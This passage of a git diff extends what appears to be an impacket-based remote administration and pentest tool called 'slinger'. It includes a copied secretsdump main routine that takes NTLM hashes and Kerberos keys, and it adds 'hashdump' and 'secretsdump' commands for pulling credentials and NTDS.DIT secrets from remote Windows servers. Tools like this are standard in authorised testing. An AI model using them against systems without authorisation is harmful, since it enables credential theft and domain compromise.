action='store_true', default=False, + help='Display whether or not the user is disabled') + group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' + ' the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' + ' (128 or 256 bits)') + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if options.just_dc_user is not None or options.ldapfilter is not None: + if options.use_vss is True: + logging.error('-just-dc-user switch is not supported in VSS mode') + sys.exit(1) + elif options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch') + sys.exit(1) + elif remoteName.upper() == 'LOCAL' and username == '': + logging.error('-just-dc-user not compatible in LOCAL mode') + sys.exit(1) + else: + # Having this switch on implies not asking for anything else. + options.just_dc = True + + if options.use_vss is True and options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') + sys.exit(1) + + if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None): + logging.error('Both the RODC ID number and the RODC key are required for the Kerb-Key-List approach') + sys.exit(1) + + if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') + sys.exit(1) + + if remoteName.upper() == 'LOCAL' and username == '': + if options.system is None and options.bootkey is None: + logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help') + sys.exit(1) + else: + + if options.target_ip is None: + options.target_ip = remoteName + + if domain is None: + domain = '' + + if options.keytab is not None: + Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + dumper = DumpSecrets(remoteName, username, password, domain, options) + try: + dumper.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) diff --git a/src/slingerpkg/lib/slingerclient.py b/src/slingerpkg/lib/slingerclient.py index 23438e7..91bdc6d 100755 --- a/src/slingerpkg/lib/slingerclient.py +++ b/src/slingerpkg/lib/slingerclient.py @@ -2,6 +2,7 @@ from slingerpkg.lib.winreg import winreg from slingerpkg.lib.scm import scm from slingerpkg.lib.smblib import smblib +from slingerpkg.lib.secrets import secrets from slingerpkg.utils.printlib import * from slingerpkg.utils.common import * from slingerpkg.lib.dcetransport import * @@ -20,12 +21,13 @@ } -class SlingerClient(winreg, schtasks, scm, smblib): +class SlingerClient(winreg, schtasks, scm, smblib, secrets): def __init__(self, host, username, password, domain, port=445, ntlm_hash=None, use_kerberos=False): schtasks.__init__(self) winreg.__init__(self) scm.__init__(self) smblib.__init__(self) + secrets.__init__(self) self.host = host self.username = username self.password = password diff --git a/src/slingerpkg/lib/smblib.py b/src/slingerpkg/lib/smblib.py index c00e04f..965a19a 100755 --- a/src/slingerpkg/lib/smblib.py +++ b/src/slingerpkg/lib/smblib.py @@ -33,6 +33,7 @@ def connect_share(self, args): self.is_connected_to_share = True self.relative_path = "" self.update_current_path() + self.dce_transport.share = share except Exception as e: print_debug(str(e), sys.exc_info()) if "STATUS_BAD_NETWORK_NAME" in str(e): @@ -237,6 +238,7 @@ def download(self, remote_path, local_path): try: with open(local_path, 'wb') as file_obj: self.conn.getFile(self.share, remote_path, file_obj.write) + print_good(f"Downloaded file '{remote_path}' to '{local_path}'") except Exception as e: print_debug(f"Failed to download file '{remote_path}' to '{local_path}': {e}", sys.exc_info()) if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): diff --git a/src/slingerpkg/lib/winreg.py b/src/slingerpkg/lib/winreg.py index a793838..a71a1f2 100755 --- a/src/slingerpkg/lib/winreg.py +++ b/src/slingerpkg/lib/winreg.py @@ -1,10 +1,11 @@ from slingerpkg.utils.printlib import * from slingerpkg.lib.dcetransport import * from tabulate import tabulate -import traceback from time import sleep from slingerpkg.utils.common import reduce_slashes +import struct + def extract_reg_values(input_text, keys): """ Extracts values for specified keys from the provided text using regular expressions. @@ -613,4 +614,22 @@ def load_port_fwd_rules(self): listen_addr, listen_port = rule[0].split("/") connect_addr, connect_port = rule[2].split("/") self.active_portfwd_rules.append({"Listen Address": listen_addr+":"+listen_port, "Connect Address": connect_addr+":"+connect_port}) - return True \ No newline at end of file + return True + + def show_process_list(self, args): + """ + Retrieves and prints the list of running processes. + + Returns: + None + """ + #https://learn.microsoft.com/en-us/windows/win32/perfctrs/about-performance-counters + print_info("This function is not implemented yet") + return + self.setup_dce_transport() + self.dce_transport._connect('winreg') + print_info("Retrieving Processes List...") + #counter_name = "ID Process" + data_blob = self.dce_transport._reg_query_perf_data() + + diff --git a/src/slingerpkg/utils/cli.py b/src/slingerpkg/utils/cli.py index 5326f47..8ddec8f 100755 --- a/src/slingerpkg/utils/cli.py +++ b/src/slingerpkg/utils/cli.py @@ -339,6 +339,8 @@ def setup_cli_parser(slingerClient): parser_hostname = subparsers.add_parser('hostname', help='Display hostname', description='Display the hostname of the remote server', epilog='Example Usage: hostname') parser_hostname.set_defaults(func=slingerClient.hostname) + parser_procs = subparsers.add_parser('procs', help='List running processes', aliases=['ps','tasklist'], description='List running processes on the remote server', epilog='Example Usage: procs') + parser_procs.set_defaults(func=slingerClient.show_process_list) parser_fwrules = subparsers.add_parser('fwrules', help='Display firewall rules', description='Display firewall rules on the remote server', epilog='Example Usage: fwrules') parser_fwrules.set_defaults(func=slingerClient.show_fw_rules) @@ -356,6 +358,12 @@ def setup_cli_parser(slingerClient): parser_rungroup.add_argument('-c', '--cmd_chain', help='Specify a command sequence to run') parser_rungroup.add_argument('-f', '--file', help='Specify a script file to run') + parser_hashdump = subparsers.add_parser('hashdump', help='Dump hashes from the remote server', description='Dump hashes from the remote server', epilog='Example Usage: hashdump') + parser_hashdump.set_defaults(func=slingerClient.hashdump) + + parser_secretsdump = subparsers.add_parser('secretsdump', help='Dump secrets from the remote server', description='Dump secrets from the remote server', epilog='Example Usage: secretsdump') + parser_secretsdump.set_defaults(func=slingerClient.secretsdump) + return parser # def validate_args(parser, arg_list): diff --git a/src/slingerpkg/utils/common.py b/src/slingerpkg/utils/common.py index c57840b..8c42a68 100755 --- a/src/slingerpkg/utils/common.py +++ b/src/slingerpkg/utils/common.py @@ -58,7 +58,7 @@ def run_local_command(command): def enum_struct(obj): for k,v in obj.__dict__.items(): - print_log(k ,v) + print(k ,v) if hasattr(v,'__dict__'): enum_struct(v)